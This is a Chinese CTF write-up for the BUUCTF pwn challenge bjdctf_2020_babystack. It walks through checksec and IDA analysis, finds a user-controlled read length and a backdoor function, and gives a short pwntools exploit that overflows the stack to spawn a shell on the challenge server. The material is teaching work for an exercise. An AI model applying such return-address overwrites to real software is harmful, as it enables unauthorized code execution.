当前位置: 首页 > news >正文

PWN手的成长之路-03-bjdctf_2020_babystack

image

首先nc一下远程环境,看一下他有什么功能。发现有两个输入,第一个是输入名字的长度,第二个是输入名字。
image

file 查看一下给的附件。是一个64位的 ELF 可执行文件。
image

checksec 查看文件的安全保护。得知启动了NX栈保护,其他保护都没开。
image

使用IDA查看文件的main函数。在打开时需要区分32位与64位,低版本的IDA,32位文件需要在IDA32中打开,但是IDA版本较高时就不用管了,32位也可以放在IDA64中打开。
image

查看伪代码:
image
发现了 scanf 这个这个高危函数。
程序流程:用户输入一个整数,并把此数存在 nbytes 变量中,再提示用户输入姓名,然后使用read函数从标准输入读取指定长度(由 nbytes 决定)的数据到 buf 数组中。

并且在函数中发现了 backdoor 这个后门函数,因此我们就需要造成程序的溢出再让其覆盖 backdoor 函数的位置,得到 shell
image

查看我们需要填充的字节为 0x10+8=0x18
image

backdoor 函数的内存地址为:0x4006E6
image

编写exp:

from pwn import *
r=remote('node5.buuoj.cn',29605)backdoor_addr=0x4006E6
#ret = 0x401198payload=b'a'*0x18+p64(backdoor_addr)
r.sendlineafter('name','123')
r.sendline(payload)
r.interactive()
http://www.rkmt.cn/news/13703.html

相关文章:

  • WordPress文章设置固定链接或永久链接 - 教程
  • 个人用云计算学习笔记 --15. (Linux 系统启动原理、Linux 防火墙管理)) - 实践
  • 2025/9/28
  • ISO 雨晨 26200.6588 Windows 11 企业版 LTSC 25H2 自用 edge 140.0.3485.81 - 教程
  • 集合进阶-collection集合
  • 【SCI一区】模糊斜率熵 Fuzzy Slope Entropy+状态分类、故障诊断! - 教程
  • 计算机核心课
  • Whispers from the Star:Anuttacon推出的以AI智能体语音交互为核心的太空生存游戏 - 详解
  • 软工9.27
  • Altium Designer(AD)原理图更新PCB后所有器件变绿解决方案 - 实践
  • 问题总结,软工9.28
  • 2025 最新中国过滤器品牌 TOP10 权威测评推荐厂家与选购指南
  • WinRAR x64 最新破解版下载安装及使用教程
  • 深入解析:宝塔面板搭建RustDesk教程:告别命令行,一键拥有私有远程桌面
  • Windows 安装达梦数据库
  • xxO
  • 做了个TIFF图片格式转换工具,感觉怎么样?
  • C#后遗症,掉了个坑,特此记录
  • 日常掉坑记录: 关于位操作
  • 收汇核销简介
  • 软件工程第一次作业——物品复活系统
  • 完整教程:【C++】string类的常见接口的使用
  • 2025过滤器厂家最新推荐TOP5排行榜:覆盖环保过滤器、精密过滤器、高效过滤器,帮企业找到适配优质厂商
  • 实用指南:零基础学AI大模型之LangChain
  • 一款开源免费、组件丰富的 WPF UI 控件库,提供了 100 多款常用控件!
  • PostgreSQL patroni 高可用 4:HAProxy和Keepalived实现读写分离
  • C++篇 String实现避坑指南:搞定构造,拷贝与析构,增删查改,流提取流插入与比对大小 一文全解 - 教程
  • 深入解析:基于机器学习的智能贫血分析预测系统
  • AT_agc026_c [AGC026C] String Coloring
  • 反转链表-leetcode